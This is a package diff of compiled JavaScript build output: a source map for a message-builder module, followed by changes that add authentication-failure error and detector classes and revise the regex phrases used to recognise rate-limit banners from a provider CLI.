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"}
|
|
1
|
+
{"version":3,"file":"messageBuilder.js","sourceRoot":"","sources":["../src/messageBuilder.ts"],"names":[],"mappings":"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"}
|
package/out/rateLimit.d.ts
CHANGED
|
@@ -3,6 +3,22 @@ export declare class RateLimitError extends Error {
|
|
|
3
3
|
readonly resetAt: Date | undefined;
|
|
4
4
|
constructor(rawMessage: string, resetAt: Date | undefined);
|
|
5
5
|
}
|
|
6
|
+
/**
|
|
7
|
+
* Raised when the provider CLI reports it is logged out / unauthenticated /
|
|
8
|
+
* out of credit — a state the loop must NOT treat as task failure. Unlike a
|
|
9
|
+
* rate limit there is no reset time: the loop pauses indefinitely and asks the
|
|
10
|
+
* operator to re-authenticate.
|
|
11
|
+
*/
|
|
12
|
+
export declare class AuthError extends Error {
|
|
13
|
+
readonly rawMessage: string;
|
|
14
|
+
constructor(rawMessage: string);
|
|
15
|
+
}
|
|
16
|
+
export declare class AuthDetector {
|
|
17
|
+
/** True when text contains any known auth-failure phrase. */
|
|
18
|
+
static matches(text: string): boolean;
|
|
19
|
+
/** Build an AuthError from text, or null when text is not an auth failure. */
|
|
20
|
+
static detect(text: string): AuthError | null;
|
|
21
|
+
}
|
|
6
22
|
export declare class RateLimitDetector {
|
|
7
23
|
/** True when text contains any known rate-limit phrase. */
|
|
8
24
|
static matches(text: string): boolean;
|
package/out/rateLimit.js
CHANGED
|
@@ -5,7 +5,7 @@
|
|
|
5
5
|
// (RateLimitDetector.PHRASES) and every call site picks it up.
|
|
6
6
|
// ---------------------------------------------------------------------------
|
|
7
7
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
8
|
-
exports.RateLimitDetector = exports.RateLimitError = void 0;
|
|
8
|
+
exports.RateLimitDetector = exports.AuthDetector = exports.AuthError = exports.RateLimitError = void 0;
|
|
9
9
|
class RateLimitError extends Error {
|
|
10
10
|
rawMessage;
|
|
11
11
|
resetAt;
|
|
@@ -24,12 +24,66 @@ exports.RateLimitError = RateLimitError;
|
|
|
24
24
|
* in the codebase needs to change.
|
|
25
25
|
*/
|
|
26
26
|
const PHRASES = [
|
|
27
|
+
// High-signal Anthropic reset banners — these carry the reset time and never
|
|
28
|
+
// false-positive against ordinary assistant prose.
|
|
27
29
|
/hit your limit/i, // "You've hit your limit · resets 9pm (Europe/Sofia)"
|
|
28
|
-
/rate limit/i, // "API Error: ... · Rate limited"
|
|
29
30
|
/out of extra usage/i, // "You're out of extra usage · resets 8:20pm (Europe/Sofia)"
|
|
30
|
-
/\bout of\b.*\busage\b/i, // future variants of "out of … usage"
|
|
31
31
|
/usage limit reached/i,
|
|
32
|
+
// "rate limit" ONLY in its throttle-banner form — bare /rate limit/i matched
|
|
33
|
+
